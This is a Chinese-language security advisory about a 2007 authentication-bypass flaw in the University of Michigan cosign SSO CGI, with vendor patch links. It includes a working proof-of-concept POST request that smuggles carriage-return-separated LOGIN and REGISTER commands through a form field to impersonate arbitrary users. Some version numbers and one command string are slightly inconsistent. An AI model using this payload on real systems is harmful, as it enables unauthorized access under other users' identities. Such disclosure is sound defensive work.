安全研究

安全漏洞
Cosign CGI Register命令远程绕过认证漏洞

发布日期:2007-04-10
更新日期:2007-04-12

受影响系统:
University of Michigan cosign 2.9.4a
University of Michigan cosign 2.0.1
不受影响系统:
University of Michigan cosign 2.9.4b
University of Michigan cosign 2.0.2a
描述:
BUGTRAQ  ID: 23424

cosign是美国密歇根大学开发的开源Web单次登录认证系统。

cosign在登录会话上处理上存在漏洞,远程攻击者可能利用此漏洞绕过认证,获取非授权访问。

当已认证用户在登录会话期间试图访问之前没有访问过的服务时,cosign CGI会通过向cosign守护程序发送以下命令将用户的cosign登录cookie(cosign=X)关联到cosign服务cookie(cosign-servicename=Y):

REGISTER cosign=X 1.2.3.4 cosign-servicename=Y

这里1.2.3.4是用户的IP地址,servicename是已认证用户试图访问的cosign所保护服务的名称,X和Y是cosign分配给cookies的值,是cosign生成的128个随机base64字符的字符串。

正常情况下用户浏览器会被cosign所保护的服务自动重新定向到CGI,服务名称会在查询字符串中传输。但是,由于试图访问服务可能会触发再次认证且/或要求用户提供额外的认证因素,因此CGI也可能在隐藏的表单字段中保存服务名。当用户同口令或其他因素提交表单的时候,这些数据通过HTTP POST请求发送给了CGI。

已认证的攻击者可以通过创建恶意POST请求来利用对POST数据不充分输入验证漏洞,扮演成为任意用户的身份。

<*来源:Jon Oberheide (jon@oberheide.org
  
  链接:http://www.umich.edu/~umweb/software/cosign/cosign-vuln-2007-002.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

POST /cosign-bin/cosign.cgi HTTP/1.0
Host: weblogin.example.com
Cookie: cosign=X
Content-Type: application/x-www-form-urlencoded
Content-Length: N

required=&ref=https%3A%2F%2Fweblogin.example.com%2F&service=cosign-servicename=Y%0DLOGIN cosign=X2 1.2.3.4 username%0DREGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2&login=test&password=pass&passcode=&doLogin=Log+In

在上面的例子中,weblogin.example.com是中央cosign weblogin服务器的名称,X是攻击者的cosign cookie的值(cosign在认证时分配),N是POST数据体的长度,servicename是攻击者试图以其他用户身份所访问的服务的名称,Y是攻击者所生成的cosign服务cookie值(任意128个base64字符的字符串),1.2.3.4是攻击者的IP地址,username是攻击者所要扮演用户身份的用户名,X2和Y2是攻击者所生成的额外两个128个base64字符的字符串。在作为POST请求发送时,Y、X2和Y2中的任何“+”字符都需转义成为“%2B”。

CGI在处理时会将服务字段的值解释成为:

cosign-servicename=Y\rLOGIN cosign=X2 1.2.3.4 username\rDREGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2

这里\r代表回车(单字节0x0D)。

然后CGI试图执行以下命令:

REGISTER cosign=X 1.2.3.4 cosign-servicename=Y\rLOGIN cosign=X2 1.2.3.4 username\rDREGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2

嵌入的回车会被处理为命令分隔符,执行以下命令:

REGISTER cosign=X 1.2.3.4 cosign-servicename=Y
LOGIN cosign=X2 1.2.3.4 username
REGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2

CGI所发送的第一个REGISTER命令要求守护程序为IP地址1.2.3.4将cosign-servicename=Y关联到cosign=X。这可以将攻击者认证到servicename服务。

攻击者所注入的LOGIN命令错误的断言CGI已成功的将攻击者认证为username,要求守护程序在IP地址1.2.3.4将username关联到cosign=X2。

攻击者所注入的第二个REGISTER命令要求守护程序为IP地址1.2.3.4将cosign-servicename=Y2关联到cosign=X2。

然后攻击者可以在对cosign所保护的servicename服务的任意请求中传送cosign-servicename=Y2。运行在cosign所保护服务上的过滤器会用守护程序检查攻击者所提供的cookie,守护程序会用攻击者在上述LOGIN命令中所提供的username响应,这样攻击者就可以无须认证便以username的身份访问servicename服务。

建议:
厂商补丁:

University of Michigan
----------------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.umich.edu/~umweb/downloads/cosign-1.9.4b.tar.gz
http://www.umich.edu/~umweb/downloads/cosign-2.0.2a.tar.gz

浏览次数:2690
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障